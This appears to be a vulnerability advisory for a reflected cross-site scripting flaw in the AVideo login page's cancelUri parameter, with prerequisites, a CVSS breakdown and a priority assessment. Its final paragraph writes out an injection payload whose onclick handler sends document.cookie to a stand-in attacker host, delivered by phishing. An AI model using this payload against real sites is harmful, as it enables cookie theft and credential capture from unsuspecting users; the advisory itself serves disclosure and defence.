AVideo CVE-2026-85159

Exploitation requires that the target AVideo instance is network-accessible and running userLogin.php (the standard login page, enabled by default). The attacker must deliver the crafted URL to a victim - no server-side session or credentials are needed by the attacker (PR:N). The critical limiting factor is user interaction: the victim must click the Cancel button on the login page after following the malicious link (UI:P); simply loading the page does not trigger execution. No special server configuration is required; the vulnerability is present in the default deployment of all versions through commit c91b5975d.

The CVSS 4.0 score of 5.3 (Medium) reflects the realistic exploitation barrier: the attack requires user interaction (UI:P - victim must click the Cancel anchor) and achieves only limited confidentiality and integrity impact (VC:L/VI:L). No KEV listing and no explicit POC are present in the available intelligence, placing exploitation likelihood in the lower tier. However, reflected XSS on a login page is particularly sensitive because victims are by definition not yet authenticated - session cookies may be absent, but the attacker can still redirect the victim, capture credentials via DOM manipulation, or deliver secondary payloads. The AV:N/AC:L/PR:N combination means delivery is trivially automated (embed the crafted URL in phishing email or QR code), lowering the effective effort despite the UI dependency. EPSS data is absent from the input; no independent exploitation probability can be cited. The overall real-world priority is moderate: meaningful for organizations operating externally accessible AVideo instances with an active user base, lower for intranet-only deployments.

An attacker crafts a URL to the target AVideo instance's userLogin.php, embedding a cancelUri value such as /page'onclick='fetch(https://attacker.example/steal?c=+document.cookie)' that passes the protocol-only check. The attacker distributes the URL via phishing email to users of the AVideo site. When a recipient clicks the link and then clicks the Cancel button on the login page, the injected onclick handler fires, exfiltrating any accessible browser state or redirecting the victim to an attacker-controlled page.